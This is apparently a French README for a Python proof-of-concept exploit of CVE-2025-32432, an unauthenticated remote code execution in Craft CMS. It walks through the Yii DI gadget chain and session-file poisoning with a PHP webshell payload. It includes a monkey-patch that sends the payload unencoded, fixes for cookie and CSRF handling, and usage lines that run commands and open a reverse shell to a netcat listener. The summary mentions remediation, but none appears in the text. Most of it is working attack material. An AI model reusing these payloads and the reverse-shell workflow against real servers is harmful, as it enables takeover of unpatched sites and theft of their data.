PoC Python exploitant CVE-2025-32432, une RCE non authentifiée dans Craft CMS via l'injection de gadget Yii DI, avec scan d'assetId, reverse shell et conseils de remédiation.
Sévérité : Critique (CVSS 10.0) Authentification requise : Aucune Affecté : Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Corrigé dans : Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
Avant d'exploiter, confirmez que la cible exécute une version vulnérable de Craft CMS.
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
Si la sortie contient uid= la cible est confirmée vulnérable et la RCE est obtenue.
AssetsController::actionGenerateTransform() est déclarée allowAnonymous, la rendant accessible sans authentification. Elle passe le paramètre handle contrôlé par l'utilisateur directement dans Yii::createObject() :
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Le conteneur DI de Yii traite deux clés de tableau spéciales sans aucune liste d'autorisation :
| Clé | Comportement |
|---|---|
__class | Instancie cette classe au lieu du type déclaré |
__construct() | Passe ces valeurs comme arguments du constructeur |
Chaîne de gadgets :
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
L'empoisonnement du fichier de session boucle la boucle : PHP stocke les paramètres GET tels quels dans /tmp/sess_<CraftSessionId>. Y planter <?=shell_exec($_GET['cmd']);exit;?> donne la RCE.
Problème racine : Python requests encode <, >, ?, = avant l'envoi. Le gestionnaire de session PHP stocke les octets encodés en pourcentage — pas du PHP exécutable.
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
Correctif : Monkey-patcher HTTPConnectionPool._make_request — le dernier point avant TCP — et appeler urllib.parse.unquote() à cet endroit :
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
La norme : Le cookie de session par défaut de PHP est PHPSESSID. Craft CMS le remplace dans sa configuration d'application :
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
Cela signifie que le fichier de session sur le disque est /tmp/sess_<CraftSessionId>, pas /tmp/sess_<PHPSESSID>.
| Propriété | PHP par défaut | Craft CMS |
|---|---|---|
| Nom du cookie | PHPSESSID | CraftSessionId |
| Fichier de session | /tmp/sess_abc123 | /tmp/sess_abc123 |
| Comment lire | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| Ce qui se passe si erroné | None retourné | le chemin itemFile pointe vers un fichier inexistant |
| Résultat | l'exploit échoue silencieusement | aucune erreur — require() échoue simplement |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
Vous pouvez vérifier le bon nom de cookie en inspectant les DevTools du navigateur après avoir visité n'importe quelle page Craft, ou en vérifiant l'en-tête de réponse Set-Cookie :
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
Craft valide les jetons CSRF sur toutes les actions POST non anonymes. Omettre le jeton provoque 400 Bad Request.
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| Problème | PoC d'empoisonnement de logs | Session (mauvais cookie) | Session (sans CSRF) | Ce PoC |
|---|---|---|---|---|
| Encodage d'URL | N/A (User-Agent) | CASSÉ | CASSÉ | CORRIGÉ monkey-patché |
| Nom du cookie | N/A | CASSÉ PHPSESSID | CASSÉ PHPSESSID | CORRIGÉ CraftSessionId |
| CSRF sur le déclenchement | OK | OK | CASSÉ | CORRIGÉ |
| Sortie de log obsolète ; | CASSÉ | N/A | N/A | N/A |
| Fonctionne sur le préfixe /cms | CASSÉ | CASSÉ | CASSÉ | CORRIGÉ |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444